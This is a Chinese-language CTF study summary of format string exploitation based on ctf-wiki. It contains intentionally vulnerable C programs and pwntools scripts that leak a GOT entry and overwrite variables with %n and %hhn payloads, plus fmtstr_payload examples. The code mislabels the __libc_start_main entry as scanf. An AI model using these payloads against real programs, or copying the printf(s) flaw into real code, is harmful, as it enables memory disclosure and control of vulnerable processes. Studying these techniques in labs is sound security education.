从ctfwiki上学习了一波,来总结一下(推荐看ctfwiki,很详细,但是看完适合自己总结,第二遍看的时候就有些冗余了)
初学格式化字符串建议看wiki,本文是总结篇

泄露内存

泄露栈内存

关于栈内存的泄露比较简单,不多说了

获取栈变量的数值

获取栈变量的字符串

泄露任意地址内存

看实例程序

#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);     //这个地方显然有格式化字符串漏洞
  return 0;
}

编译一下

gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c

泄露指定地址的方法:

addr%k$s

确定字符串为几个参数的方法:

AAAA%p%p%p%p%p%p%p%p%p%p%p%p

我们设置一个可访问的地址,用scanf@got来举例子拿到scanf的地址(一般不泄露printf函数的地址,自己实操一下即可)
第一步,拿到scanf@got的地址(可有可无)

第二步,判断是格式化字符串的第几个参数
通过%p的那种形式可以判断出来是格式化字符串的第四个参数

第三步,写payload

from pwn import *

filename = './format_string_1_leakmemory'
sh = process(filename)
elf = ELF(filename)

scanf_got = elf.got['__libc_start_main']
payload = p32(scanf_got) + '%4$s'

sh.sendline(payload)

sh.recvuntil('%4$s')
print hex(u32(sh.recv()[4:8]))

然后就拿到了scanf的地址

覆盖内存

覆盖栈内存

实例程序:

#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

同样存在格式化字符串的漏洞,我们在这一小节来覆盖c的值,让他等于16
还是两步走:
第一步:确定c的地址(在程序中的第六行已经打印出来c的地址)
第二步:确定格式化字符串的参数(不再赘述,还是gdb中下断点或者直接运行程序数0x的个数,aaaa%p大法)
确定了这两步就能把payload写出来了
payload:p32([c_addr]) + (16-4) * 'A' + '%k$n'

覆盖任意地址内存

覆盖小值

我们覆盖变量a
还是两步走:
第一步:确定a的地址,直接ida
第二部:确定格式化字符串的参数
注意,由于是小值(我们想要a的值是2),我们就不能把a的地址放到首位了,因为放到首位明显就占四字节,不可能让它再等于2了,所以我们往后移,同样的,格式化字符串参数也得后移
payload:2 * 'a' + '%K$n' + 2 * 'a'(为了占够4字节) + p32([a_addr])

覆盖大值

我们覆盖变量b
还是两步走:
第一步:确定b的地址,直接ida
第二步:确定格式化参数
注意,我们的b是要变成0x12345678,输入那么多东西显然不太好,我们就采用一个字节一个字节的覆盖,就是b的地址覆盖0x78,然后b+1的地址处覆盖0x56,这种意思,有点儿像定位攻击一样
payload:p32([b_addr]) + p32([b_addr+1]) + ... + p32([b_addr+4]) + 104 * 'a' + '%6hhn' + 222 \* 'a' + '%7hhn' + 222 * 'a' + '%8hhn' + 222 \* 'a' + '%9hhn'
(104 + 16(16是前面的四个地址加起来16字节) = 0x78,0x78 + 222 = 0x156,自动舍弃前面的1,即0x56,后面的计算方法同上,不再赘述)

pwntools中的宝藏函数

 pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') → str[source]

    Makes payload with given parameter. It can generate payload for 32 or 64 bits architectures. The size of the addr is taken from context.bits

    The overflows argument is a format-string-length to output-amount tradeoff: Larger values for overflows produce shorter format strings that generate more output at runtime.
    Parameters:	
        offset (int) – the first formatter’s offset you control
        writes (dict) – dict with addr, value {addr: value, addr2: value2}
        numbwritten (int) – number of byte already written by the printf function
        write_size (str) – must be byte, short or int. Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n)
        overflows (int) – how many extra overflows (at size sz) to tolerate to reduce the length of the format string
        strategy (str) – either ‘fast’ or ‘small’ (‘small’ is default, ‘fast’ can be used if there are many writes)
    
    Returns:	The payload in order to do needed writes

所以之前的覆盖abc的payload就不用我们再算来算去了
直接调用这个超级无敌牛掰的函数
覆盖c:payload = fmtstr_payload(6,{c_addr:0x10},write_size='int')
覆盖a:payload = fmtstr_payload(6,{a_addr:2},write_size='short')
覆盖b:payload = fmtstr_payload(6,{0x0804A028:0x12345678},write_size='byte')
其实对于第三个参数write_size,万能方法是让它等于'byte',因为按字节来写入是最准确的,默认值也是byte,所以我们也可省略第三个参数
另外附上覆盖内存的exp(我用封装函数的形式来写)

from pwn import *

filename = './overflow'
sh = process(filename)
def stack():
	c_addr = sh.recvuntil('\n',drop = True)
	c_addr = int(c_addr,16)
	#payload = p32(c_addr) + 12 * 'a' + '%6$n'
	payload = fmtstr_payload(6,{c_addr:0x10},write_size='int')

	sh.sendline(payload)
	print sh.recv()

def small():
	a_addr = 0x0804A024
	

	#payload = 'aa' + '%8$n' + 'aa' + p32(a_addr)
	payload = fmtstr_payload(6,{a_addr:2},write_size='short')	

	sh.sendline(payload)
	print sh.recv()

def big():
	b_addr = 0x0804A028
	#payload = p32(b_addr) + p32(b_addr + 1) + p32(b_addr + 2) + p32(b_addr + 3)
	#payload = payload + 104 * 'a' + '%6$hhn' + 222 * 'a' + '%7$hhn' + 222 * 'a' + '%8$hhn' + 222 * 'a' + '%9$hhn'
	payload = fmtstr_payload(6,{0x0804A028:0x12345678},write_size='byte')
	sh.sendline(payload)
	print sh.recv()

big()